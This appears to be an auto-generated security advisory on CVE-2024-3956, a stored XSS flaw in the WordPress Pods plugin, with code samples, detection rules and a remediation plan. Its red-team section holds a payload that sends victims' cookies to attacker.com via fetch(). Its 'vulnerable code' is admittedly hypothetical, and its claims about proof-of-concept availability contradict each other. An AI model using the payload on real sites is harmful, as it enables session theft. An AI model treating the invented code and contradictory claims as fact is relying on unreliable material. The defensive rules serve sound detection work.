CVE-2024-3956
Executive Summary
CVE-2024-3956 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pods – Custom Content Types and Fields plugin for WordPress, affecting all versions up to and including 3.2.1. The flaw resides in the Pod Form widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 5.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is available, making proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem, affecting the Pods plugin. It does not involve Apache or Nginx directly; the attack vector is through the plugin’s widget attributes, which are processed by WordPress core and the plugin’s code.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Requires contributor-level access or higher.
- User Interaction: None (UI:N) – No victim interaction needed for injection.
- Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts poses a significant risk to WordPress sites with multiple contributors. The lack of a patch increases the urgency for detection and mitigation.
Deep Dive & Mechanics
The vulnerability exists in the Pod Form widget, which allows users to create custom forms for content submission. The widget accepts user-supplied attributes (e.g., class, id, or custom data attributes) that are rendered in the HTML output without proper sanitization or escaping. An authenticated attacker with contributor-level access can craft a malicious attribute value containing JavaScript, such as:
<div class="pods-form" data-custom="<script>alert('XSS')</script>">
When the form is rendered, the script executes in the context of the victim’s browser. The attack flow is:
- Prerequisite: Attacker has contributor-level access or higher on a WordPress site with the Pods plugin (<=3.2.1).
- Injection: Attacker creates or edits a Pod Form widget, inserting a malicious attribute (e.g.,
onfocus,onmouseover, or a data attribute with embedded script). - Storage: The malicious input is stored in the WordPress database as part of the widget configuration.
- Execution: When any user (including administrators) visits the page containing the widget, the script executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.
The root cause is insufficient input validation and output escaping in the plugin’s attribute handling code. The plugin fails to use WordPress’s built-in escaping functions (e.g., esc_attr(), esc_html()) on user-supplied attributes.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical fix based on secure coding practices.
Vulnerable Code (Pods <= 3.2.1):
// In pods-form.php or similar
$attributes = shortcode_atts( array(
'class' => '',
'id' => '',
// other attributes
), $atts );
echo '<div class="pods-form ' . $attributes['class'] . '" id="' . $attributes['id'] . '">';
Patched Code (Hypothetical):
// In pods-form.php or similar
$attributes = shortcode_atts( array(
'class' => '',
'id' => '',
// other attributes
), $atts );
$safe_class = esc_attr( $attributes['class'] );
$safe_id = esc_attr( $attributes['id'] );
echo '<div class="pods-form ' . $safe_class . '" id="' . $safe_id . '">';
The patched version uses esc_attr() to escape attribute values, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with Pods plugin <= 3.2.1.
- Contributor-level account credentials.
Steps:
- Log in as a contributor.
- Navigate to the Pods Form widget editor (e.g., via Appearance > Widgets or a page builder).
- Add a new Pod Form widget.
- In an attribute field (e.g., "CSS Class"), inject a payload:
Or use a data attribute:" onfocus="alert('XSS')" autofocus="true" data-x="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the widget.
- When any user visits the page, the script executes.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual attribute values in Pods Form widgets via database queries.
- Use WAF rules to block common XSS payloads in POST requests to widget endpoints.
Defense:
- Disable the Pods Form widget until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>tags or event handlers (e.g.,onfocus,onmouseover) in widget attribute fields. - Host: Database entries in
wp_postmetaorwp_optionscontaining malicious JavaScript in Pods-related keys. - File: Modified plugin files (e.g.,
pods-form.php) with suspicious attribute handling. - Log: WordPress debug logs showing unexpected attribute values.
Detection Engineering
YARA Rule
rule CVE_2024_3956_Pods_XSS {
meta:
description = "Detects stored XSS payloads in Pods plugin attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3956"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*["'][^"']*["']/i
$xss3 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: CVE-2024-3956 Pods Stored XSS Detection
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3a1d4e5f6c
status: experimental
description: Detects stored XSS payloads in Pods Form widget attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: POST
http.url|contains: /wp-admin/admin-ajax.php
http.body|contains|all:
- 'pods-form'
- '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget attributes (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3956 Pods Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"pods-form"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Pods Form widget in all pages until a patch is released.
- Restrict contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in widget attributes.
Long-term Fix:
- Apply the official patch when released by the vendor.
- Upgrade to Pods version > 3.2.1 once available.
- Conduct a security audit of all custom attributes in the plugin.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.